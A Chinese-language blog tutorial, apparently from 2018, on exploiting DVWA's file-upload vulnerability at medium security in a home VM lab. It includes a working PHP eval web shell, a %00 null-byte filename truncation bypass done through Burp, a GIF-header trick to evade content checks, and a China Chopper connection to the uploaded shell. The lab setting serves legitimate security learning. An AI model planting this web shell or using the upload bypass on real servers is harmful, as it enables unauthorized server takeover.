1. 程式人生 > >DVWA檔案上傳漏洞(medium)

DVWA檔案上傳漏洞(medium)

DVWA檔案上傳漏洞

2018/4/6        criedcat

***本文需要知道%00截斷是怎麼個一回事。整體上的思路無非就是上傳一個隱藏的木馬,然後用菜刀連結***

****網路有文章說,%00截斷出現在php5.3.4之前版本,但是我的測試環境是5.4.45,卻依然可以用%00截斷;筆者不知道是否和伺服器有什麼關係*****

首先介紹一下,dvwa是我們平常很熟悉的一個php漏洞整合平臺。筆者常用來學習的開源平臺就是BWAPP,DVWA,DEDECMS。在這篇文章中筆者將會講到如何在DVWA這上面進行檔案上傳木馬。level為中,高。

首先進行環境介紹,虛擬機器win2003,裝有phpstudy;真實機,win10最新版(昨天才更新),用火狐瀏覽器。

首先,我的虛擬機器開啟了“僅主機”模式。


如圖,真實機中VMnet1閘道器192.168.135.1,子網掩碼:255.255.255.0;

所以,經過虛擬機器網路編輯器的調整後,虛擬機器的ip調為192.168.135.128.此時兩個系統可以正常通訊。

-------------------------------------------------後臺設定------------------------------------------------------------------

dvwa比較特殊,因為它純粹是客戶端就能進行後臺的設定。比如level的高中低。以下的行為雖然發生在客戶端的我進行的設定,但是我依然把以下的行為歸類為後臺設定。

我們訪問上述URL,

登入,在下圖左側點選左側“檔案上傳”

 


在安全級別為low的情況下,我們可以直接上傳一個php木馬就行(dvwa對上傳的大小有限制,我們上傳的檔案最好不要超過70KB)

但是,這未免太簡單了。筆者將會在level=mideum的環境下上傳木馬,然後用菜刀連結。

在下圖我將安全級別設定為了中。

 -------------------------------------------------------------------入侵---------------------------------------------------

 很好,我們設定完了作為後臺的虛擬機器的一切。

接下來,我們開始入侵。

我們登入上圖,接下來就是想辦法上傳php的木馬。

筆者將本人的美照貢獻了出來。

先將jpg寫成php,看看能否上傳。

左上角有結果。

然後筆者試試能不能上傳空白文字,字尾.jpg

上傳成功。(其實我想看到他失敗,因為很多情況下,這樣上傳必須加gif890才能成功)

看來伺服器只檢測字尾名是否是.jpg了,而不檢測檔案的內容。

(如果檢測內容,需要在檔案前面寫gif890,如果掃描木馬,需要二進位制或者copy命令寫木馬;)

在這裡,我直接用菜刀把服務端程式碼<?php @eval($_POST['caidao']);?>放到jpg檔案中,然後把檔名改為111.php%00.jpg

把burp開啟,抓包,

把下半部分的filename的值,那個%00,解除url編碼(%00是URL編碼,本身是截斷的意思,我們解碼後,就相當於越過了瀏覽器,直接在應用層下截斷了後面的.jpg),然後放包。

然後,

根據路徑提示,到那個上傳的php檔案中。

把這個複製到菜刀,進行php連結,密碼caidao寫進去

我們進入了伺服器。

至此,筆者對dvwa的檔案上傳漏洞先寫在這裡。